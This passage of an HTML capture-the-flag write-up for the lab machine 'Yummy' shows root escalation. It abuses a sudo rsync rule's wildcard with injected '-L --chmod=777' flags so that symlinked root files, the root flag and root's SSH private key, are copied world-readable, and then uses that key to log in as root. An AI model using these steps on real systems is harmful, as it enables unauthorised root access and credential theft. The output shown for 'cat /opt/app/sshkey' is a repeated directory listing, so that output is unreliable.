      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">/tmp/exploit</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1000(dev) gid=1000(dev) groups=1000(dev)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-dev">Escalation from <code class="language-plaintext highlighter-rouge">dev</code>:</h2>
<h3 id="sudo-rsync">Sudo <code class="language-plaintext highlighter-rouge">rsync</code>:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo -l</span>

<span class="linux-output">Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">dev</code> can run a specific <code class="language-plaintext highlighter-rouge">rsync</code> command as <code class="language-plaintext highlighter-rouge">root</code> with no password. The command contains a wildcard, making it possible to inject dangerous flags within it. There’s also a <a href="https://gtfobins.github.io/gtfobins/rsync/">GTFOBins</a> page for <code class="language-plaintext highlighter-rouge">rsync</code>, but its payload didn’t work here.</p>

<p>Looking at <code class="language-plaintext highlighter-rouge">rsync</code>’s <a href="https://linux.die.net/man/1/rsync">docs</a>, there’s two more dangerous flags that can be useful here:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">-L</code>, which makes <code class="language-plaintext highlighter-rouge">rsync</code> copy the actual files instead of symlinks; and</li>
  <li><code class="language-plaintext highlighter-rouge">--chmod:777</code>, which grants 777 permissions for all the files copied.</li>
</ol>

<p>Combining these two flags would grant the ability to read any files in the filesystem. For example, I can create a symlink in <code class="language-plaintext highlighter-rouge">app-production</code> pointing to the root flag:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~/app-production</span><span class="linux-char">$</span></span> <span class="linux-bash">ln -s /root/root.txt rootflag</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>After running the <code class="language-plaintext highlighter-rouge">rsync</code> command, the root flag is copied to <code class="language-plaintext highlighter-rouge">/opt/app</code> and is globally readable:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo rsync -a --exclude=.hg /home/dev/app-production/* -L --chmod=777 /opt/app/</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la /opt/app</span>

<span class="linux-output">total 44
drwxr-xr-x 7 root www-data  4096 Feb 21 17:44 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rwxrwxrwx 1 dev  dev      10037 May 28  2024 app.py
drwxrwxrwx 3 dev  dev       4096 May 28  2024 config
drwxrwxrwx 3 dev  dev       4096 May 28  2024 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
-rwxrwxrwx 1 root root        33 Feb 21 11:50 rootflag
drwxrwxrwx 6 dev  dev       4096 May 28  2024 static
drwxrwxrwx 2 dev  dev       4096 May 28  2024 templates</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The same can be done for <code class="language-plaintext highlighter-rouge">root</code>’s SSH key:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~/app-production</span><span class="linux-char">$</span></span> <span class="linux-bash">ln -s /root/.ssh/id_rsa sshkey</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo rsync -a --exclude=.hg /home/dev/app-production/* -L --chmod=777 /opt/app/</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la /opt/app</span>

<span class="linux-output">total 44
drwxr-xr-x 7 root www-data  4096 Feb 21 17:48 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rwxrwxrwx 1 dev  dev      10037 May 28  2024 app.py
drwxrwxrwx 3 dev  dev       4096 May 28  2024 config
drwxrwxrwx 3 dev  dev       4096 May 28  2024 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
-rwxrwxrwx 1 root root       399 May 28  2024 sshkey
drwxrwxrwx 6 dev  dev       4096 May 28  2024 static
drwxrwxrwx 2 dev  dev       4096 May 28  2024 templates</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">dev@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">cat /opt/app/sshkey</span>

<span class="linux-output">total 44
drwxr-xr-x 7 root www-data  4096 Feb 21 17:48 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rwxrwxrwx 1 dev  dev      10037 May 28  2024 app.py
drwxrwxrwx 3 dev  dev       4096 May 28  2024 config
drwxrwxrwx 3 dev  dev       4096 May 28  2024 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
-rwxrwxrwx 1 root root       399 May 28  2024 sshkey
drwxrwxrwx 6 dev  dev       4096 May 28  2024 static
drwxrwxrwx 2 dev  dev       4096 May 28  2024 templates</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll use it to SSH in as <code class="language-plaintext highlighter-rouge">root</code> and grab the flag:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh root@yummy.htb -i root.key</span>
<span class="cmd-output">
Warning: Permanently added 'yummy.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Feb 21 05:50:07 PM UTC 2025

  System load:  0.78              Processes:             281
  Usage of /:   62.0% of 5.56GB   Users logged in:       2
  Memory usage: 22%               IPv4 address for eth0: 10.129.195.30
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have new mail.
Last login: Fri Feb 21 17:50:08 2025 from 10.10.14.24
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">root@yummy</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=0(root) gid=0(root) groups=0(root)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
